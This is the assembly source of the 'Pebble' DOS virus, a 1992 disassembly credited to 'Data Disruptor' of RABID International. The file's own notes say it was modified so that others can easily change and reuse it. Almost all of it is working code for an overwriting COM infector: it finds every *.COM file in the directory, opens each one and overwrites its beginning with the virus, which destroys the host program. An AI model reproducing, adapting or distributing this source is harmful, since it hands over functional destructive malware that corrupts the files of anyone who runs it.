
;*****************************************************************************
;                          The Pebble Virus (Disassembly)
;
;                     Disassembled and modified by Data Disruptor
;                                     (May.6.92)
;
;                            (c) 1992 RABID International
;*****************************************************************************
;
; Notes:
; ------
;
; This is quite possibly one of the smallest overwriting COM infectors I
; have ever seen. It overwrites the first 50 bytes of a host COM file with
; itself and then terminates back to DOS.
;
; It does not preserve the timestamp, nor does it check to see if a file has
; allready been infected.
;
; I have modified the source code so that if people wish to hack this virus,
; it is easily done so, as Sourcer original disassemblies do not allow for
; modification of it's output ASM file.
;
; Have fun...
;
;       Data Disruptor
;*****************************************************************************

code            segment byte public
                assume  cs:code, ds:code
                org     100h

pebble          proc    far

v_start         equ     $                       ; Marker for virus start
file_name       equ     9Eh                     ; Offset in DTA of file name

start:
                mov     ah,4Eh                  ; Find first file
                mov     cx,27h
                mov     dx,offset search        ; Specify search string
do_function:
                int     21h
                jc      no_files                ; Error? Therefore, no files
                                                ; were found
                call    infector                ; Found a file? Infect it.
                mov     ah,4Fh                  ; Set up DOS for find next file
                jmp     short do_function       ; Issue INT 21
no_files:
                int     20h                     ; DOS program terminate

pebble          endp

infector        proc    near
                mov     ax,3D02h                ; Open file with read/write
                                                ; access
                mov     dx,file_name            ; With the file name found
                                                ; in 4Eh or 4Fh
                int     21h

                mov     ah,40h                  ; Write to file
                mov     cx,(v_end-v_start)      ; Length of the virus
                mov     dx,100h                 ; Set for beginning of file
                                                ; (COM Org = 100h)
                int     21h

                mov     ah,3Eh                  ; Close the file
                int     21h

                retn
infector        endp

search          db       '*.COM',0              ; What to search for
v_end           equ     $                       ; Marker for virus end

code            ends
end             start

